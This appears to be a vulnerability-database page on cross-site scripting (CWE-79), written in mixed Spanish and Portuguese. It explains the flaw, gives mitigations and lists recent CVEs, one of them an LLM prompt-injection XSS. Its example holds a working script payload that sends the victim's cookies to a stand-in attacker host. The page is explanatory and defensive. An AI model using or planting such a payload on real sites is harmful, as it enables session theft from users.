Fallos del tipo CWE-79

30.539 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-94078HIGHWordPress Site Reviews plugin <= 8.3.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-100108MEDIUMSocial Share Buttons <= 1.30 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'share_url' Network SettingEPSS 0.2%CVE-2026-79816MEDIUMUnauthenticated DOM-Based Cross-Site Scripting (XSS) Vulnerability in the ClearPass Policy Manager Client InterfaceEPSS 0.2%CVE-2026-93747MEDIUMwpForo Forum <= 3.1.6 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'telegram' Profile FieldEPSS 0.2%CVE-2026-9019MEDIUMEasy Image Collage <= 1.13.6 - Authenticated (Author+) Stored Cross-Site Scripting via 'grid[properties][borderColor]' and 'grid[images][N][attachment_url]' ParametersEPSS 0.2%CVE-2026-100311MEDIUMmathurvishal CloudClassroom-PHP-Project Faculty Video Management managevideos2.php cross site scriptingEPSS 0.2%CVE-2026-41318MEDIUMAnythingLLM vulnerable to stored DOM XSS in chart caption renderer - LLM-driven prompt injection produces executable HTML via unsanitized renderMarkdown(content.caption) in Chartable componentEPSS 0.2%CVE-2026-107748MEDIUMUser Profile Builder <= 4.0.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'display_name' ParameterEPSS 0.2%CVE-2026-102401MEDIUMDownload Manager <= 3.3.71 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'regurl' Shortcode AttributeEPSS 0.2%CVE-2025-12513MEDIUMA user with elevated privileges can inject XSS in the Hosts configuration parameters pageEPSS 0.2%CVE-2024-4867MEDIUMCross-Site Scripting via Developer Portal in WSO2 API Manager Enables UI Modification and Information RetrievalEPSS 0.2%CVE-2025-60936MEDIUMEmoncms 11.7.3 is vulnerable to Cross Site in the input handling mechanism. This vulnerability allows authenticated attackers with API accesEPSS 0.2%CVE-2025-54890MEDIUMA user with elevated privileges can inject XSS in the Hostgroups configuration pageEPSS 0.2%CVE-2026-6551MEDIUMTimeline Blocks for Gutenberg <= 1.1.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'titleTag' Block AttributeEPSS 0.2%CVE-2026-16776MEDIUMMP3 Audio Player <= 5.14.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2026-33403MEDIUMPi-hole has a Reflected XSS / HTML injection in taillog.jsEPSS 0.2%CVE-2026-6648MEDIUMQibo CMS Internal Message cross site scriptingEPSS 0.2%CVE-2026-93770HIGHWordPress WP Statistics plugin <= 14.16.13 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-51225MEDIUMA stored cross-site scripting (XSS) vulnerability in the component /admin/add-brand.php of Phpgurukul Vehicle Record Management System v1.0 EPSS 0.2%CVE-2026-96766MEDIUMGeoDirectory <= 2.8.183 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'business_hours' ParameterEPSS 0.2%